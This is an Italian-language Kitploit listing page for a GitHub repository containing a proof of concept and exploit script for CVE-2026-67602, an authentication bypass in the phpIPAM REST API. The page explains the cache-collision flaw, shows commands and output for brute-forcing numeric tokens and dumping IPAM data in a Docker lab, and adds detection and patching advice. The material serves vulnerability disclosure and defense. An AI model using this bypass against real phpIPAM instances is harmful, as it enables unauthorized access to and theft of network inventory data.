Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
the-token-was-a-row-number-cve-2026-67602-phpipam-rest-api-authentication-bypass — Exploit e PoC per CVE-2026-67602, un bypass dell'autenticazione nell'API REST di phpIPAM tramite collisione di chiavi nella cache degli oggetti, inclusi un PoC a livello logico e uno script di exploit remoto. | Kitploit
Strumenti/GitHubGitHub/hunt-benito/the-token-was-a-row-number-cve-2026-67602-phpipam-rest-api-authentication-bypass
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingAutenticazioneSicurezza delle API
GitHubhunt-benito/the-token-was-a-row-number-cve-2026-67602-phpipam-rest-api-authentication-bypass

the-token-was-a-row-number-cve-2026-67602-phpipam-rest-api-authentication-bypass

Exploit e PoC per CVE-2026-67602, un bypass dell'autenticazione nell'API REST di phpIPAM tramite collisione di chiavi nella cache degli oggetti, inclusi un PoC a livello logico e uno script di exploit remoto.

Vedi Repository
0 giorni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-67602 — phpIPAM < 1.8.2 Bypass dell'autenticazione API REST

Bypass dell'autenticazione non autenticato nell'API REST di phpIPAM, causato da una collisione di chiavi nella cache degli oggetti: la riga del database memorizzata nella cache durante la risoluzione dell'app_id di un'app API soddisfa il successivo controllo dell'app_code (token) ogni volta che il token fornito è uguale all'id numerico della riga. Il segreto reale dell'app non viene mai confrontato.

  • CVE: CVE-2026-67602
  • CVSS 4.0: 9.3 Critico (AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N)
  • CWE: CWE-706 (Uso di nome o riferimento risolto in modo errato)
  • Interessati: phpIPAM precedente alla 1.8.2, app API REST con app_security = ssl_code
  • Corretto: phpIPAM 1.8.2 (commit d29728f)
  • Advisory: https://www.vulncheck.com/advisories/phpipam-authentication-bypass-via-rest-api-object-cache

Contenuti

FileScopo
poc_cache_collision.phpPoC a livello logico. Esegue le implementazioni verbatim vulnerabili (v1.8.1) e corrette (1.8.2) di fetch_object/cache_check/cache_write contro un database simulato e riproduce la sequenza esatta di fetch di una singola richiesta HTTP. Non è necessaria un'installazione di phpIPAM.
exploit.pyExploit remoto contro un'istanza live di phpIPAM < 1.8.2: enumera gli app_id validi (400 vs 401), forza bruta sul token numerico (di solito id 1-3) e, opzionalmente, scarica sezioni/sottoreti/VLAN/dispositivi.
docker-compose.ymlLaboratorio vulnerabile: phpIPAM v1.8.1 + MariaDB, HTTP semplice con IPAM_TRUST_X_FORWARDED=true così le app ssl_code possono essere testate tramite l'header X-Forwarded-Proto.

1. PoC a livello logico (nessun server necessario)

root@kitploit:~
$ php poc_cache_collision.php vulnerable
[1] fetch_object('api','app_id','client')  -> riga id=2, app_security=ssl_code
[2] fetch_object('api','app_code','2') (header phpipam-token) -> OBJECT (cache hit!)
[3] $app_id == $app_temp->app_id  ->  AUTENTICATO

$ php poc_cache_collision.php fixed
[2] fetch_object('api','app_code','2') (header phpipam-token) -> false
[3] Risposta: 401 Non autorizzato — token rifiutato

2. Riproduzione live in Docker

root@kitploit:~
$ docker compose up -d
  1. Naviga su http://localhost:8080/, procedi con l'installer (http://localhost:8080/install/), scegli Installazione automatica del database, utente MySQL root / password phpipamAdminRoot.
  2. Accedi (admin / admin), imposta una nuova password admin quando richiesto.
  3. Crea l'app API: Amministrazione → Gestione API → nuova:
    • Nome applicazione (app_id): client
    • Sicurezza: Codice API (ssl_code)
    • Permessi: Lettura / Scrittura / Eliminazione
  4. phpIPAM genera un codice applicazione casuale di 32 caratteri. Non è necessario copiarlo — questo è il punto del bug.

Esegui l'exploit (il flag --xfp soddisfa il controllo HTTPS tramite X-Forwarded-Proto, di cui il laboratorio si fida):

root@kitploit:~
$ python3 exploit.py http://localhost:8080 --app-id client --xfp --dump
[*] Target: http://localhost:8080
[*] Forza bruta sui token numerici (id di riga) 1..64 per app_id='client'...
[+] BYPASS DELL'AUTENTICAZIONE — phpipam-token: 1 è accettato
[+] Il vero app_code a 32 caratteri dell'app non è mai stato necessario.
[+] GET /api/client/sections/ -> HTTP 200, 1 sezione(i) leggibile(i)
[*] Scaricamento dati IPAM...

3. Rilevamento e rimedio

  • Aggiorna a phpIPAM 1.8.2 o successivo. La correzione indicizza la cache degli oggetti per colonna di ricerca oltre che per valore (commit d29728f).
  • Fino all'aggiornamento, disabilita o riconfigura le app API ssl_code (le altre modalità di sicurezza non sono interessate da questa collisione di cache).
  • Controlla i log del tuo server web / phpIPAM per richieste a /api/<app_id>/... con un header phpipam-token puramente numerico — i token legittimi sono stringhe casuali di 32 caratteri, quindi i token numerici sono un IOC ad alta fedeltà.
  • Ruota i codici applicazione API e i token utente se si sospetta un'esposizione.

Uso responsabile

Questo repository è solo per ricerca difensiva e test di penetrazione autorizzati. Eseguilo solo contro sistemi di tua proprietà o per i quali hai il permesso scritto di testare.

Scarica lo strumento